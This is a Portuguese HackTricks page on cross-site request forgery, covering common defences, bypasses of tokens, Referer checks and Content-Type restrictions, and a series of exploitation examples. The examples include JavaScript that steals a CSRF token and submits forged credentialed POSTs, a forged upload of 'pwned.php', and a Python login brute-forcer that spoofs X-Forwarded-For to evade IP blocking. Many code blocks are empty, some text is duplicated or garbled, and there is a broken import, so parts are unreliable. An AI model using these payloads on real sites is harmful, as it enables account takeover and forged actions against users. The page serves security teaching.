# CSRF (Cross Site Request Forgery)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3** 🐞 Leia tutoriais de bugs web3 🔔 Receba notificações sobre novos programas de recompensas por bugs 💬 Participe de discussões na comunidade ## O que é CSRF? **Cross-site request forgery** (também conhecido como CSRF) é uma vulnerabilidade de segurança na web que permite que um invasor **induza usuários a executar ações que eles não pretendem executar**.\ Isso é feito **fazendo um usuário logado** na plataforma da vítima acessar um site controlado pelo atacante e a partir daí **executar** código JS malicioso, enviar formulários ou recuperar "imagens" para a **conta da vítima**. ### Requisitos Para ser capaz de explorar uma vulnerabilidade CSRF, você primeiro precisa **encontrar uma ação relevante para explorar** (alterar senha ou e-mail, fazer a vítima seguir você em uma rede social, dar mais privilégios...). A **sessão deve depender apenas de cookies ou do cabeçalho de autenticação básica HTTP**, nenhum outro cabeçalho pode ser usado para manipular a sessão. E finalmente, **não deve haver parâmetros imprevisíveis** na solicitação. Várias **contramedidas** podem ser implementadas para evitar essa vulnerabilidade. ### **Defesas comuns** * [**Cookies SameSite**](hacking-with-cookies/#samesite): Se o cookie de sessão estiver usando essa flag, você pode não ser capaz de enviar o cookie de sites da web arbitrários. * [**Compartilhamento de recursos entre origens**](cors-bypass.md): Dependendo do tipo de solicitação HTTP que você precisa executar para explorar a ação relevante, você pode levar em conta a **política CORS do site da vítima**. _Observe que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta._ * Peça a **senha** do usuário para autorizar a ação. * Resolva um **captcha** * Leia os cabeçalhos **Referer** ou **Origin**. Se uma expressão regular for usada, ela poderá ser contornada, por exemplo, com: * http://mal.net?orig=http://example.com (termina com a url) * http://example.com.mal.net (começa com a url) * **Modifique** o **nome** dos **parâmetros** da solicitação Post ou Get * Use um **token CSRF** em cada sessão. Esse token deve ser enviado dentro da solicitação para confirmar a ação. Esse token pode ser protegido com CORS. ### Mapa CSRF ![](<../.gitbook/assets/image (112).png>) ## Bypass de defesas ### De POST para GET Talvez o formulário que você deseja explorar esteja preparado para enviar uma **solicitação POST com um token CSRF, mas** você deve **verificar** se um **GET** também é **válido** e se, quando você envia uma solicitação GET, o **token CSRF ainda está sendo validado**. ### Falta de token Algumas aplicações **validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido**.\ Nessa situação, o invasor pode **remover todo o parâmetro** contendo o token (não apenas seu valor) para contornar a validação e realizar um ataque CSRF. ### Token CSRF não está vinculado à sessão do usuário Algumas aplicações **não validam que o token pertence à mesma sessão** do usuário que está fazendo a solicitação. Em vez disso, a aplicação **mantém um pool global de tokens** que emitiu e aceita qualquer token que apareça neste pool.\ Nessa situação, o invasor pode fazer login na aplicação usando sua própria conta, **obter um token válido** e, em seguida, **alimentar esse token para o usuário vítima** em seu ataque CSRF. ### Bypass de método Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.\ Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**: * _X-HTTP-Method_ * _X-HTTP-Method-Override_ * _X-Method-Override_ ### Bypass de token de cabeçalho personalizado Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como **método de proteção CSRF**, então: * Teste a solicitação sem o **Token Personalizado e também o cabeçalho**. * Teste a solicitação com **exatamente o mesmo comprimento, mas com um token diferente**. ### Token CSRF é verificado por um cookie Em uma variação adicional da vulnerabilidade anterior, algumas aplicações **duplicam cada token em um cookie e um parâmetro de solicitação**. Ou **definem um cookie csrf e verificam no backend se o token csrf enviado é o relacionado com o cookie**. Quando a solicitação subsequente é validada, a aplicação simplesmente verifica se o **token** enviado no **parâmetro da solicitação corresponde** ao valor armazenado pelo **cookie**.\ Nessa situação, o invasor pode novamente realizar um **ataque CSRF se o site da web contiver alguma vulnerabilidade que permita que ele defina seu cookie CSRF para a vítima como um CRLF**. Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF como neste exemplo: ```html
``` {% hint style="info" %} Observe que se o **token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará** porque você precisará definir a sessão da vítima e, portanto, estará atacando a si mesmo. {% endhint %} ### Mudança de Content-Type De acordo com [**isto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, esses são os valores permitidos para Content-Type: * **`application/x-www-form-urlencoded`** * **`multipart/form-data`** * **`text/plain`** No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, portanto, você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Exemplo (de [aqui](https://brycec.me/posts/corctf\_2021\_challenges)) de envio de dados JSON como text/plain: ```html
``` ### Bypass de requisição de pré-voo de aplicação/json Como você já sabe, não é possível enviar uma solicitação POST com o Content-Type **`application/json`** via formulário HTML e, se você tentar fazer isso via **`XMLHttpRequest`**, uma solicitação de pré-voo é enviada primeiro.\ No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo **`text/plain`** e **`application/x-www-form-urlencoded`** apenas para verificar se o backend está usando os dados independentemente do Content-Type.\ Você pode enviar um formulário usando `Content-Type: text/plain` definindo **`enctype="text/plain"`** Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode **enviar o tipo de conteúdo "text/plain; application/json"** sem acionar uma solicitação de pré-voo. Você também pode tentar **burlar** essa restrição usando um **arquivo flash SWF**. Para mais informações, [**leia este post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Bypass de verificação de Referrer / Origin **Evite o cabeçalho Referrer** Algumas aplicações validam o cabeçalho Referer quando ele está presente em solicitações, mas **ignoram a validação se o cabeçalho for omitido**. ```markup ``` **Burlas de Regexp** {% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer: ```html
``` ***
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3** 🐞 Leia tutoriais sobre bugs web3 🔔 Receba notificações sobre novas recompensas por bugs 💬 Participe de discussões na comunidade ## **Exemplos de Exploração** ### **Exfiltrando Token CSRF** Se um **token CSRF** está sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection.md). ### **GET usando tags HTML** ```markup

404 - Page not found

The URL you are requesting is no longer available ``` Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são: ![](<../.gitbook/assets/image (530).png>) ### Solicitação GET de formulário ```markup
``` ### Requisição POST de formulário ```markup
``` ### Solicitação de POST de formulário através de iframe ```markup
``` ### **Requisição POST Ajax** --- An Ajax POST request can be used to perform CSRF attacks. The attacker can create a form with a hidden input field that contains the CSRF token of the victim's session. Then, using JavaScript, the attacker can submit the form using an Ajax POST request to the vulnerable endpoint. Uma requisição POST Ajax pode ser usada para realizar ataques CSRF. O atacante pode criar um formulário com um campo de entrada oculto que contenha o token CSRF da sessão da vítima. Em seguida, usando JavaScript, o atacante pode enviar o formulário usando uma requisição POST Ajax para o endpoint vulnerável. ```markup ``` ### Requisição POST multipart/form-data ```javascript myFormData = new FormData(); var blob = new Blob([""], { type: "text/text"}); myFormData.append("newAttachment", blob, "pwned.php"); fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, mode: "no-cors" }); ``` ### Solicitação POST multipart/form-data v2 ```javascript var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.open("POST", url, true); // MIME POST request. xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); xhr.setRequestHeader("Content-Length", fileSize); var body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n'; body += "Content-Type: " + ctype + "\r\n\r\n"; body += fileData + "\r\n"; body += "--" + boundary + "--"; //xhr.send(body); xhr.sendAsBinary(body); ``` ### Solicitação POST de formulário de dentro de um iframe ```markup <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Roubar o Token CSRF e enviar uma requisição POST** Uma vez que o token CSRF é armazenado no navegador do usuário, um atacante pode tentar roubá-lo usando técnicas como XSS ou CSRF. Depois de obter o token, o atacante pode enviar uma requisição POST maliciosa para o servidor, que será autenticada pelo token CSRF roubado. Isso pode permitir que o atacante execute ações maliciosas em nome do usuário legítimo. Para roubar o token CSRF, o atacante pode usar técnicas como a injeção de JavaScript malicioso em uma página vulnerável ou a criação de um formulário falso que envia o token para um servidor controlado pelo atacante. Depois de obter o token, o atacante pode usá-lo para enviar uma requisição POST maliciosa para o servidor. ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest(); xhr.open("POST", POST_URL, true); xhr.withCredentials = true; // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // This is for debugging and can be removed xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy"); } function getTokenJS() { var xhr = new XMLHttpRequest(); // This tels it to return it as a HTML document xhr.responseType = "document"; xhr.withCredentials = true; // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true); xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token"); // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value); } }; // Make the request xhr.send(null); } var GET_URL="http://google.com?param=VALUE" var POST_URL="http://google.com?param=VALUE" getTokenJS(); ``` ### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax** Para realizar um ataque CSRF, é necessário obter o token CSRF válido do usuário alvo. Uma vez que o token CSRF é obtido, ele pode ser usado para enviar solicitações maliciosas em nome do usuário alvo. Uma maneira de obter o token CSRF é usando um iframe para carregar a página de destino que contém o token. O token pode então ser extraído do código-fonte da página usando JavaScript e usado para enviar uma solicitação POST maliciosa. Outra maneira de obter o token CSRF é usando um formulário oculto que é preenchido automaticamente com o token CSRF e enviado usando JavaScript. Finalmente, o token CSRF também pode ser obtido usando uma solicitação AJAX para a página de destino que retorna o token. O token pode então ser usado para enviar uma solicitação POST maliciosa. Em todos os casos, o objetivo é obter o token CSRF válido do usuário alvo e usá-lo para enviar solicitações maliciosas em nome do usuário. ```markup
``` ### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário** Uma técnica comum de ataque CSRF é roubar o token CSRF de um usuário legítimo e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário oculto. O primeiro passo é obter o token CSRF do usuário legítimo. Isso pode ser feito usando um script malicioso que injeta um iframe em uma página legítima. O iframe aponta para a página que o atacante deseja atacar e inclui um formulário oculto que envia uma solicitação POST com o token CSRF roubado. Quando o usuário legítimo visita a página legítima, o script malicioso é executado e o iframe é injetado na página. O formulário oculto é preenchido com os dados necessários para enviar a solicitação POST maliciosa, incluindo o token CSRF roubado. Quando o usuário envia o formulário, a solicitação POST é enviada para o servidor da página de destino, que acredita que a solicitação é legítima porque inclui o token CSRF correto. Para se proteger contra esse tipo de ataque, os desenvolvedores devem garantir que seus aplicativos gerem tokens CSRF exclusivos para cada sessão do usuário e que esses tokens sejam incluídos em todas as solicitações POST. Além disso, os desenvolvedores devem garantir que seus aplicativos não permitam que solicitações POST sejam enviadas de origens não confiáveis. ```markup ``` ### **Roubar token e enviá-lo usando 2 iframes** Este método de ataque CSRF envolve a criação de dois iframes, um para enviar uma solicitação GET para obter o token de autenticação e outro para enviar a solicitação POST com o token roubado. O primeiro iframe é carregado com a URL da página que contém o token de autenticação e o segundo iframe é carregado com a URL da página que contém o formulário que será enviado com o token roubado. O código HTML para criar os dois iframes é o seguinte: ```html ``` O JavaScript para roubar o token e enviá-lo usando os dois iframes é o seguinte: ```javascript var getTokenFrame = document.getElementById('get-token'); var sendFormFrame = document.getElementById('send-form'); getTokenFrame.onload = function() { var token = getTokenFrame.contentWindow.document.body.innerHTML; sendFormFrame.contentWindow.postMessage(token, 'https://example.com'); }; window.addEventListener('message', function(event) { if (event.origin === 'https://example.com' && event.source === sendFormFrame.contentWindow) { var form = sendFormFrame.contentWindow.document.getElementById('form'); form.submit(); } }); ``` Este código carrega o primeiro iframe com a URL `https://example.com/get-token`, que deve retornar o token de autenticação em seu corpo HTML. Quando o iframe é carregado, o código JavaScript dentro do `onload` do iframe obtém o token do corpo HTML do iframe e o envia para o segundo iframe usando `postMessage`. O segundo iframe é carregado com a URL `https://example.com/send-form`, que contém um formulário que será enviado com o token roubado. Quando o segundo iframe recebe o token usando `postMessage`, o código JavaScript dentro do `window.addEventListener` do documento envia o formulário com o token roubado. ```markup
``` ### **POSTSteal CSRF token com Ajax e enviar um post com um formulário** Para realizar um ataque CSRF, é necessário obter o token CSRF válido do usuário alvo. Uma maneira de fazer isso é usando uma solicitação Ajax para obter o token e, em seguida, enviar um POST com um formulário contendo o token. O código abaixo mostra como fazer isso: ```javascript var xhr = new XMLHttpRequest(); xhr.open('GET', '/path/to/endpoint/that/returns/csrf/token', true); xhr.onload = function () { var csrfToken = xhr.responseText; var form = document.createElement('form'); form.setAttribute('method', 'POST'); form.setAttribute('action', '/path/to/endpoint/that/accepts/post/requests'); var hiddenField = document.createElement('input'); hiddenField.setAttribute('type', 'hidden'); hiddenField.setAttribute('name', 'csrf_token'); hiddenField.setAttribute('value', csrfToken); form.appendChild(hiddenField); document.body.appendChild(form); form.submit(); }; xhr.send(); ``` Este código envia uma solicitação GET para um endpoint que retorna o token CSRF válido. Em seguida, ele cria um formulário com um campo oculto contendo o token e envia um POST para o endpoint que aceita solicitações POST. O formulário é adicionado ao corpo do documento e enviado automaticamente. Este ataque pode ser evitado usando tokens CSRF que expiram após um determinado período de tempo ou usando cookies HTTPOnly para armazenar o token CSRF. ```markup
``` ### CSRF com Socket.IO Socket.IO é uma biblioteca JavaScript para aplicativos web em tempo real. Ele permite a comunicação bidirecional em tempo real entre o cliente e o servidor. No entanto, o Socket.IO pode ser vulnerável a ataques CSRF. O Socket.IO usa cookies para autenticar usuários e manter a sessão do usuário. Se um invasor conseguir obter o cookie de autenticação de um usuário, ele poderá enviar solicitações maliciosas em nome do usuário autenticado. Para explorar essa vulnerabilidade, o invasor pode criar um site malicioso que envia solicitações para o servidor Socket.IO usando o cookie de autenticação do usuário. Quando o usuário visita o site malicioso, as solicitações são enviadas automaticamente para o servidor Socket.IO sem o conhecimento do usuário. Para evitar esse tipo de ataque, é importante usar tokens CSRF para proteger as solicitações do Socket.IO. O token CSRF é um valor aleatório que é gerado pelo servidor e incluído em cada solicitação. O cliente deve enviar o token CSRF junto com a solicitação e o servidor verifica se o token é válido antes de processar a solicitação. Para implementar a proteção CSRF no Socket.IO, você pode usar a biblioteca `socketio-csrf`. Essa biblioteca adiciona suporte para tokens CSRF ao Socket.IO e é fácil de usar. Basta adicionar o middleware `csrf` ao seu aplicativo Socket.IO e a biblioteca cuidará do resto. ```markup ``` ## CSRF Login Brute Force O código pode ser usado para forçar a entrada em um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar uma possível lista negra de IP): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Ferramentas * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) * [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## Referências * [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) * [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3** 🐞 Leia tutoriais sobre bugs web3 🔔 Receba notificações sobre novas recompensas por bugs 💬 Participe de discussões na comunidade
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).